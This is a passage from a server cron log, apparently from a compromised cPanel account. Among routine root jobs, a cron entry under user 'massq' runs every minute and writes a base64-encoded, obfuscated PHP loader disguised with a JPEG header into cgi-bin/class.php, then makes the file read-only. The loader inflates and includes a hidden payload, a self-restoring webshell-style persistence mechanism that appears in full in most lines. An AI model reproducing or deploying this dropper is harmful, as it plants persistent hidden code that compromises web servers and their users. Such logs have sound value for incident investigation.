ZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:48:01 server CROND[22872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:49:01 server CROND[22938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:50:01 server CROND[23010]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:50:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 18:50:01 server CROND[23013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:50:01 server CROND[23011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:50:01 server CROND[23015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:51:01 server CROND[23238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:52:01 server CROND[23297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:53:01 server CROND[23368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:54:01 server CROND[23428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:55:01 server CROND[23500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:55:01 server CROND[23501]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:55:01 server CROND[23504]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:56:01 server CROND[23714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:57:01 server CROND[23784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:57:01 server CROND[23785]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 18:58:01 server CROND[23852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:59:01 server CROND[23919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:00:01 server CROND[23978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 19:00:01 server CROND[23979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 19:00:01 server CROND[23980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 19:00:01 server CROND[23981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 19:01:01 server CROND[24190]: (root) CMD (run-parts /etc/cron.hourly)
